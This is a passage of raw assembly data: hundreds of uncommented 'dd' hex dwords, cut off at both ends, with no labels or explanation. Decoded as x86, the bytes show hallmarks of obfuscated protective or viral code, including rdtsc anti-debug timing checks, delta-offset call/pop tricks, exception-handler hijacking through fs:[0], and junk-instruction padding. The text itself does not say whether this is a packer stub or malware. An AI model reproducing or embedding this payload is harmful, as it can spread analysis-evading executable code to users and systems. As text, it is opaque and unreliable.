37ED815Dh, 31061F6Fh, 1B03B195h, 0C2D78106h, 8D1F7583h dd 1E853D85h, 8B3DB306h, 1B2EDDBDh, 52505006h, 52505250h dd 585A310Fh, 58BF310Fh, 5A688974h, 0BB310F58h, 6620344Ch dd 489585Ah, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 0F659D238h, 89522262h, 1B17AD8Dh dd 8D895F06h, 61B2415h, 35FF64h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 5A1C351h dd 628A6FABh, 0EE8h, 7E79EF00h, 9B418801h, 4C8BFFB1h, 66942A4Ah dd 5F511FBBh, 258964h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0E8BFC352h dd 9, 1D7F0A73h, 7013762h, 0FD9D8BABh, 5B061B0Eh, 2B0D85FFh dd 6A061Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 2B1B69C3h, 0BCFF0CE7h, 6ECB8053h, 0E2816660h dd 0B58966E4h, 61B2DCDh, 6AFF6A61h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 88D6C356h dd 0FED3819Ch, 1449118h, 1B0EE1B5h, 99B5FF06h, 0B3061B03h dd 595FF56h, 0E9061B08h, 177h, 2F7DBD8Bh, 0BD31061Bh, 61B00ADh dd 858900B0h, 61B24B5h, 0E4FC70E6h, 0CE96071h, 0E7000000h dd 0C7502408h, 0BAA9C107h, 604C31C9h, 8F0Fh, 61610000h dd 830F613Ch, 13Bh, 0E8BCD780h, 14h, 738FF6DCh, 395D2597h dd 0F22A605Bh, 0AB80F677h, 7E0C58D8h, 0EE9h, 75115F00h dd 0E1FB36F6h, 0AE28350Ah, 5B7A13F7h, 0FC8B60Fh, 6BAD9B7h dd 0E8000000h, 0Bh, 9C41238Ah, 0B32535B9h, 5F74E5A2h, 8166C18Bh dd 0F6AB6F7h, 583h, 0CB816600h, 0E8C15F49h, 758D2904h dd 66061B18h, 0BE8E2F7h, 0B1000000h, 4B47523Ch, 0EEE72D8Ch dd 85894473h, 61B1925h, 0FC82B5Bh, 28Fh, 8B11B300h, 11E8D1h dd 21A80000h, 0E7626D86h, 25FD735Dh, 0E644128Bh, 520167CDh dd 5B5BDA8Bh, 2C0DBD8Bh, 3E9061Bh, 0F000000h, 858BFFBFh dd 61B2229h, 29F78166h, 7C08346h, 6810Fh, 0BD8B0000h, 61B064Dh dd 0E900C083h, 0Ah, 2147A8F2h, 0B2A0C26Bh, 0D03BA1DDh dd 0D830Fh, 0F7B70000h, 4AE9h, 0A1C78100h, 8B6F133Dh, 1B0ED98Dh dd 6D35BB06h, 0E18344AAh, 30840F01h, 8B000000h, 1B20F9BDh dd 6880F06h, 29000000h, 1B2B319Dh, 0D9A58306h, 0FE061B0Eh dd 2ACDBD8Bh, 9589061Bh, 61B2229h, 0D058589h, 0E9061Bh dd 8D000000h, 1EF4A7B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 18DF5CD8h, 9ED49292h dd 0E37AEB81h, 6A3C86h, 17E58589h, 95FF061Bh, 61B2205h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 3BC35343h dd 0D810C084h, 31C40807h, 1B18A995h, 8E1B906h, 9D090000h dd 61B1A51h, 2B019589h, 0E183061Bh, 56006AFCh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 212B184h, 6AFCFCCCh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 0FE96C352h, 8A27AF56h, 0B8D9h, 0BD890000h dd 61B0EDDh, 0BAh, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 9D8B41EAh, 61B30D5h, 0D1C233ADh dd 83D003E8h, 0F47504E9h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 0A1C35242h, 64A6E2BDh, 1AD5467Eh, 62BB662Bh dd 19BD33FEh, 0F061B24h, 587h, 0E850BF00h, 880D5F57h, 33000000h dd 1B2609BDh, 29958B06h, 8B061B24h, 1B07658Dh, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0C28B503Eh, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 0DDBFC352h, 5A6AE381h, 6A3487h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0B8010EC3h dd 0E37D0312h, 23ED8D31h, 0BD83061Bh, 61B1769h, 41840F00h dd 9000000h, 1B16A185h, 0B806h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 818106C3h dd 9FAD1E3h, 0D38D8D72h, 89061B4Ch, 1B12519Dh, 66E1FF06h dd 0B5E3D381h, 13D1BD83h, 0F00061Bh, 35C84h, 6870F00h dd 81000000h, 679A3CD3h, 0D1BD832Dh, 1061B13h, 35E840Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 389AC3C3h, 2820F13h, 8B000000h, 0D1BD83FAh dd 3061B13h, 2F4860Fh, 9D230000h, 61B2E71h, 52006A60h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 0FC366C0h, 8C66D9BFh, 9D0360D9h, 61B09A1h, 55852B60h dd 61061B1Bh, 4E18061h, 840FC90Ah, 0D5h, 145858Bh, 8166061Bh dd 3324E9CFh, 1B2A3185h, 0FDBD2906h, 90061B1Eh, 0FE850h dd 742A0000h, 3FB88CBh, 33920B34h, 52885CD3h, 0DF8B661Bh dd 6A905Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h dd 51410000h, 2D1695C3h, 0ACC91F59h, 6A445A5Fh, 8E0F00h dd 0E8000000h, 4, 1F03FFh, 0E950DE8Ah, 11h, 8A147985h dd 3CAF2519h, 0CC67C2B0h, 7BCDB2B0h, 24448B20h, 89008B04h dd 0B3042444h, 9D23586Fh, 61B2231h, 323595FFh, 0BD03061Bh dd 61B2AADh, 0AD998589h, 9D0B061Eh, 61B1219h, 1B0E9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 8BBBBFC9h, 1B1B519Dh, 91858B06h, 6A061EADh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 159C351h, 3A39FAD1h, 0B58F680Bh, 1861BD8Bh, 0C7061Bh dd 18h, 0B3D9D8Bh, 0B58B061Bh, 61EAD95h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Dh, 5FC35242h, 7428EBD9h dd 0B1064BF1h, 0A58D297Ch, 8B061B12h, 1B122985h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 0FFA73326h, 409266E1h, 0C9BB3BCCh, 89013C6Fh, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0B70F52FAh, 858B5FF8h, 61B0145h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 87C35242h, 446895Bh, 1B19D8Bh dd 5096061Bh, 96D98B66h, 89FFBF0Fh, 1B2D9D8Dh, 91B5FF06h dd 6A061EADh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 41B7C353h, 0B863CCA8h, 24259D89h dd 0D368061Bh, 5744A3CDh, 9E8h, 9C671200h, 77DB67E7h, 5F572F69h dd 34815B5Fh, 0BCCE2C24h, 0BE844h, 0E7560000h, 0D24C13B1h dd 7D62B365h, 7E9CCh, 97A80000h, 0EDB67300h, 858D5B83h dd 61EAD99h, 0E098D29h, 0BF50061Bh, 6B5E647Ah, 89240489h dd 1B2A3D95h, 3595FF06h, 89061B32h, 1B0A019Dh, 6A6106h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 9D0BE7C3h, 61B0BE9h, 13D185C7h dd 3061Bh, 0E3810000h, 76413C60h, 0AD99BD83h, 0F00061Eh dd 0D84h, 0E9F88B00h, 21h, 0AC98589h, 3050061Bh, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 3800FC0h dd 66000000h, 6AFE8Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 502C0DC3h, 0DF8B66FFh, 13D1BD83h dd 0F03061Bh, 40585h, 0EEE38100h, 8306C756h, 1EAD99BDh dd 840F0006h, 3F2h, 0B5FFF88Bh, 61EAD99h, 1059BD03h, 95FF061Bh dd 61B0111h, 305DBD03h, 0B58B061Bh, 61EAD8Dh, 106C7F5h dd 6A000100h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 0CE91C350h, 8ED2976Ah, 5036668Dh dd 0CE9h, 51E66000h, 43063DA7h, 7252E92Eh, 24348980h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0DAC35646h, 58F460C5h dd 67DABB28h, 21BD8B54h, 0FF061B07h, 1EAD99B5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0FDF22889h, 843B09EEh, 141B509h, 95FF061Bh, 61B1BC9h dd 60BB6650h, 0B58B5B42h, 61EAD8Dh, 0C859D8Bh, 5E8061Bh dd 6A000000h, 3BE73049h, 12E860h, 49A70000h, 2DFE8FCBh dd 0D09C22F1h, 0A2061A7Eh, 307B3D7Ah, 615E505Eh, 25858B5Fh dd 0BB061B0Dh, 5F17647Ah, 8689DF8Bh, 0C4h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 78C35545h, 162E065Eh dd 7E91CB0h, 0B9000000h, 6A0238C3h, 958B0073h, 61B2429h dd 10E9h, 0E3696300h, 0EFFE41F5h, 6E86D014h, 3EF4EE2Eh dd 4C2837Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 7DC35545h, 0C444A809h, 0F481F52h, 0BF66DAB7h, 508948F6h dd 0C7816620h, 858D355Bh, 61EC0C7h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 0B9C35343h, 0A6C45860h, 8B9CD966h dd 1B2B9D9Dh, 0B8868906h, 0E8000000h, 5, 0FD744458h, 63BB6670h dd 6A5B7Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 0B5C35343h, 24BFF4DCh, 14E8228h, 1B06199Dh, 99B5FF06h dd 6A061EADh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 4E61C356h, 0B771EACBh, 95FF9997h dd 61B142Dh, 0CE9h, 53AF0200h, 0C0939CBh, 9F1D0AD9h, 6650F5FAh dd 896878BFh, 6A2434h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 0E9848FC3h, 6, 2ADD052Bh, 0B5FFAFEDh dd 61EAD99h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 23C35545h, 1CBDB531h, 95FF061Bh, 61B1B91h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0DAC35545h, 12E9EFh dd 338D0000h, 0BB1FFB34h, 20EC0373h, 4D9DA96Ah, 3A0D05DBh dd 0C81BD83h, 0F00061Bh, 3C84h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 50FA8B51h dd 12E9h, 0EC281300h, 29622717h, 52A6F8B4h, 5D62D3B9h dd 892AF900h, 0D7802434h, 99B5FF9Ah, 0BF061EADh, 45B95FD9h dd 0BD595FFh, 8B66061Bh, 99B5FFDEh, 8B061EADh, 1B0E759Dh dd 995FF06h, 6A061B1Ah, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 5411C355h, 50C7E005h dd 0EE8h, 0B375BC00h, 0AC4A06F2h, 425ECD6h, 189D248h, 1B06F1BDh dd 835F5F06h, 1B07A5BDh, 840F0206h, 5Eh, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Ah, 0D8C35141h, 481BF82Fh dd 8B66D7B3h, 31858BDAh, 8B061B30h, 1B09C1BDh, 0C606h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0E3C35242h dd 405D2238h, 126661E1h, 10BD9D8Bh, 85C7061Bh, 61B2BD5h dd 0 dd 0D35B589h, 52E9061Bh, 6AFFFFF4h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 687AC355h dd 850F63A4h, 5, 610F31BFh, 6AC18B1Fh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0F320C350h dd 3A5FCCA4h, 66566771h, 0D089D381h, 0ED858D5Bh, 6A061B32h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 40DAC356h, 0F9129C44h, 0C68B6050h, 61DE8B66h dd 8B240489h, 1B11ADBDh, 66006A06h, 0F0B17BFh, 6AFAB7h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 86C35242h dd 6093DB13h, 0B58BDA8Bh, 61B1CA5h, 0AC858D61h, 6A061F7Eh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 0DC3CC353h, 9509C44Dh, 61B1A79h, 0EE8h, 0FC4E9800h dd 2362517Bh, 0AC1E37D9h, 8BFF8A4Ah, 0B5895BD8h, 61B1EA9h dd 6A05C083h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 48ADC357h, 0F901B165h, 9D8941F9h dd 61B18D9h, 8B665052h, 505F5BF9h, 89D98B66h, 6A2404h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 0DC1879C3h, 0E83033C9h, 13h, 43BA0BFCh, 98C63A42h, 0A1A8FCD5h dd 5D579A50h, 66351B63h, 895BDA8Bh, 1B31F5BDh, 6A006A06h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 0B012C352h, 1B0AA7D8h, 0BE8F6B2h, 60000000h dd 0A6670C0Fh, 86977E97h, 6E9C58Bh, 6A000000h, 4515AD50h dd 6A5B6Fh, 0F8B5CF80h, 1A0195FFh, 6A061Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 927A49C3h dd 0CC05380Ch, 0B559D89h, 0CE9061Bh, 0F4000000h, 55721971h dd 1915695Dh, 8D22DE1Eh, 1E92B78Dh, 819D8B06h, 8B061B2Ch dd 1B25E99Dh, 51D1FF06h, 0BD835FF8h, 61B1CD5h, 76850F01h dd 80000000h, 0E957E4D7h, 0Fh, 0F8031F13h, 1E03C58Fh, 17B1C380h dd 5FA4A792h, 6A026Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 840F81C3h, 3, 50FAB70Fh, 78EEBB66h dd 66240489h, 42EDDF81h, 142D95FFh, 6A061Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 8974CEC3h dd 1B130D9Dh, 0E46E906h, 0E80000h, 5D000000h, 7EB6ED81h dd 6A061Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 621142C3h, 3D858DF5h, 6A061E85h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 6D5DC352h, 13018D89h, 5090061Bh, 0FE8B6652h, 0BF57310Fh dd 0ADF19A1h, 50585A5Bh, 0D6B6BF66h, 8960F890h, 1B01EDBDh dd 58F0F06h, 66000000h, 0BD1C381h, 35FF6461h, 0 dd 6880F57h, 81000000h, 0B36408C3h, 89645F58h, 25h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 4DA50DFEh, 50AD6D73h, 2B0D85FFh, 6A061Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0D7627DC3h dd 0F2F87003h, 6AFF6Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 0F4B485C3h, 66A873Ch, 49B5FF72h dd 6A061B2Dh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 3A43C356h, 595FF9Dh, 0E9061B08h dd 110h, 118D8D89h, 0B0061Bh, 0E6C1DF80h, 0FE970h, 0C4680000h dd 2AB86936h, 0E652F57Ah, 3C84E733h, 0BF71E437h, 333E8412h dd 3CD1C380h, 0DD830F61h, 0F000000h, 681h, 71BD0100h, 0F061B0Bh dd 6BAC8B6h, 0F000000h, 18Ch, 0C18BF900h, 32819589h, 0E8C1061Bh dd 0F0D38004h, 0FE2F766h, 486h, 61605000h, 66C82B5Fh, 5C97C781h dd 0E9F5D18Bh, 6, 0AE18D89h, 858B061Bh, 61B033Dh, 0E2816660h dd 0BF0F9480h, 0C08361D7h, 7E907h, 4F990000h, 529DACC7h dd 0C0831Eh, 1E99589h, 0D03B061Bh, 1D830Fh, 9D230000h dd 61B1D31h, 57E9h, 0C810F00h, 60000000h, 0AB3ABE66h, 8D3EE681h dd 8B6114DBh, 1B0BE18Dh, 82C38106h, 8327661Ah, 840F01E1h dd 30h, 5870Fh, 2ABB0000h, 660B65F8h, 8308F8BFh, 1B0BE1A5h dd 0BD8BFE06h, 61B30D5h, 33D9589h, 6660061Bh, 834BEA81h dd 0E961C18Bh, 0 dd 0FF94B58Dh, 6A061Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 340A06C3h, 31006AFCh, 1B2B9DBDh dd 595FF06h, 6A061B22h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 0F51AC356h, 68C0Fh dd 0BD8B0000h, 61B0AADh, 8AEB9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 0C00DDB15h dd 83DEBF0Fh, 6AFCE1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 24D77DC3h, 0BDFE9F41h, 3860FE9h dd 0F000000h, 6AFCFABFh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 66B0C355h, 0C7A9EB81h dd 0B8h, 0E8F0F00h, 0E9000000h, 9, 0ED1E4629h, 4B23345Bh dd 0BA18h, 0BD8B0000h, 61B0155h, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 0F1C35545h, 6A4F5CA8h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0BF3FC355h, 0DF698791h dd 912E5BCFh, 11198D09h, 0DE9061Bh, 0ED000000h, 0AC70F745h dd 1E462994h, 23345BEDh, 880Dh, 6890F00h, 81000000h, 803C7FD7h dd 29958B57h, 6A061B24h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 759C356h, 0EEFFDBBFh dd 658D8B33h, 6A061B07h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 15DCC356h, 6BEF5BFEh dd 8B9585A0h, 1B1ECDBDh, 0C28B5006h, 0C103188Bh, 0C18B188Bh dd 0C203E8D1h, 6A58188Bh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 0CB5EC355h, 0DF0297DAh dd 0AE9h, 0F16E700h, 6FFEC162h, 8341CA27h, 1B1769BDh, 840F0006h dd 77h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h dd 7CC35141h, 0BD8B5496h, 61B0015h, 0B8h, 2A98BB00h, 8D8D04FFh dd 61B4CD3h, 0F259D8Bh, 13E9061Bh, 84000000h, 63C6E795h dd 8B73C3FAh, 774FC930h, 4D94F02Dh, 0E1FFF86Ch, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 31C35545h, 5DE8B81h dd 83FC0E12h, 1B13D1BDh, 840F0006h, 3FAh, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 19h, 65C35545h, 9444F8F2h dd 55953161h, 0E9061B18h, 6, 663CC5EEh, 0BD833607h, 61B13D1h dd 0D6840F01h, 52000003h, 25ADBD8Bh, 0E95F061Bh, 8, 8145BF53h dd 542B0A57h, 13D1BD83h, 0F03061Bh, 37E86h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 0DAAD3F09h, 0BD8B6019h, 61B012Dh, 52D98C66h, 4E1805Bh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0A5C35747h dd 6DF59743h, 1D8D294Fh, 0A061B13h, 21840FC9h, 0F000001h dd 0BD8BF9B7h, 61B1065h, 145858Bh, 9D03061Bh, 61B01D1h dd 2A318533h, 0ABBB061Bh, 50610827h, 11E956h, 263F0000h dd 0C455E309h, 32C59C4Dh, 5B8161C2h, 5BEB8EE8h, 0F240489h dd 0E8Dh, 9E900h, 23890000h, 6B9EFE0Eh, 6AB7F301h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 479BFF41h, 6CBF66BAh, 59FB680Ch, 11E9DFE5h, 0E000000h dd 53FEDDF1h, 0C2A27EA8h, 0D17EC9F1h, 46A8EB59h, 4240481h dd 8B2039AAh, 1B119DBDh, 3595FF06h, 6A061B32h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 0F6A6C353h, 619D8B61h, 89061B0Eh, 1EAD9985h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 37A9069h, 0FD78A3A5h, 40C3812Ch, 0E9292AE7h, 1CAh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 13C35242h, 9D8B6F53h dd 61B10DDh, 0AD91858Bh, 0BF0F061Eh, 1800C7FAh, 8B000000h dd 1B2D519Dh, 95B58B06h, 6A061EADh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 8043C350h dd 2C0EA1BEh, 0F51C0CBh, 189h, 0B70FF800h, 29858BDFh, 8B061B12h dd 1B19459Dh, 9DBD8B06h, 89061B08h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 99D036Ch, 8B061B30h dd 1B014585h, 5958906h, 89061B1Dh, 9D8B0446h, 61B0295h dd 6BBB6650h, 2434896Fh, 0FFFAB70Fh, 1EAD91B5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 0D5E389D4h, 4C687D15h, 8B74EB9Dh, 243481FAh, 74F49EB3h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 76C35545h dd 0D41B529h, 0AE9061Bh, 2F000000h, 8706B9FFh, 0E52AC544h dd 30BF660Ch, 99858DA6h, 6A061EADh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0CD66C355h dd 0CB314EE7h, 0E9D83C17h, 0Dh, 51AE5A69h, 70C773BFh, 0B7B0775Ch dd 5250908Ch, 310FFD8Ah, 277FBF66h, 5750585Ah, 6A905Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 0B498EFC3h, 95FF0999h, 61B3235h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 32C35141h, 840F489Bh, 6, 11059D8Bh dd 2961061Bh, 1B1F419Dh, 0D185C706h, 3061B13h, 66000000h dd 8101E5BBh, 1C354CEBh, 99BD8367h, 61EADh, 31840Fh, 8BFC0000h dd 1B2A119Dh, 40E906h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 6052E7C3h, 0BE66F88Bh dd 50611F0Eh, 110C30h, 0C1011144h, 443010E8h, 4C000211h dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h dd 0EBE775h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 860F48C3h, 1, 0D1BD83F9h, 3061B13h dd 4CB850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 711A1BC3h, 6481A047h, 3A18509h dd 0BD2B061Bh, 61B1BCDh, 0AD99BD83h, 0F00061Eh, 49084h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 0CF97A26h, 0A315FA9h, 0D9D29E5h, 0FF061B02h dd 1EAD99B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 81E256BBh, 7C1DA3EBh, 1195FF17h dd 0BF061B01h, 6FEADFADh, 0AD8DB58Bh, 6A061Eh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 0C4325FC3h, 0D215A830h, 6C72BB4h, 10001h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 5AC35343h, 84B353C2h dd 6660505Bh, 860FD68Bh, 2, 89616160h, 6A2434h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 8B93E4C3h, 1B0A75BDh, 13E806h, 6430000h, 6DC0D779h dd 8E20302Ch, 0C38DDB3h, 0CA4D325Eh, 0CBEF807Fh, 99B5FF5Bh dd 0E8061EADh, 0Ch, 41BDE674h, 170E1AF6h, 0D41A14C9h, 5BDE8B66h dd 1BC995FFh, 6A061Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 0A60DB9C3h, 0B58B949Dh, 61EAD8Dh dd 0D25858Bh, 0C781061Bh, 4B4B0B2Bh, 0C48689h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 61F503C3h, 958B14B2h, 61B2429h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 94C35040h, 2A1229A8h, 0FDBD8B8Ch dd 83061B11h, 6A04C2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 0AC9FFFC3h, 8180F755h, 36DB61DBh dd 20508976h, 18E19D8Bh, 858D061Bh, 61EC0C7h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 96C35242h, 6A61BD46h dd 0E8ABEF80h, 11h, 0CEDE920Ch, 11F1FA59h, 9983CF77h, 7563F7FEh dd 0C1BD8BF0h, 5F061B09h, 0B88689h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 4CE3CAC3h dd 0D5B46002h, 0C6D858Bh, 6A61061Bh, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0E73E0FA2h dd 51627F69h, 0B5FFFBABh, 61EAD99h, 6E98589h, 95FF061Bh dd 61B142Dh, 0ED18589h, 0F380061Bh, 12E85094h, 25000000h dd 0CE20703Bh, 0F7CC3C0Bh, 60FDE4F1h, 0A888A2BCh, 0F8A6BF5Dh dd 895B0488h, 6A2434h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 8150F7C3h, 0CB0F1FEFh, 99B5FF76h dd 6A061EADh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0F4B6C356h, 0C7BC7346h, 66F3EF73h dd 2BC6CF81h, 1D1BD8Bh, 95FF061Bh, 61B1B91h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0D4C35747h, 4B2D08B6h dd 116F1832h, 1CB5BD8Bh, 13E9061Bh, 83000000h, 61F0001Eh dd 63D40DA7h, 43CF3740h, 0D949A581h, 0EF8004ADh, 81BD83B3h dd 61B0Ch, 23840Fh, 8B600000h, 1B089DBDh, 2D958906h, 61061B2Bh dd 0FB8B6656h, 0BF66505Bh, 3489F5E9h, 28A0F24h, 8B000000h dd 99B5FFFEh, 6A061EADh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 1BD9C350h, 0EA44667Bh dd 2C520B74h, 2E819D8Bh, 95FF061Bh, 61B0BD5h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0A1C35141h, 84E23BFFh dd 858E5A49h, 0DFB70FB3h, 8CD9D89h, 0B5FF061Bh, 61EAD99h dd 2B659589h, 95FF061Bh, 61B1A09h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 1BC35343h, 9444BF66h, 7A5BD83h dd 0F02061Bh, 5E84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 0A5CF4993h, 559D0B77h dd 8B061B00h, 1B303185h, 2EEF8106h, 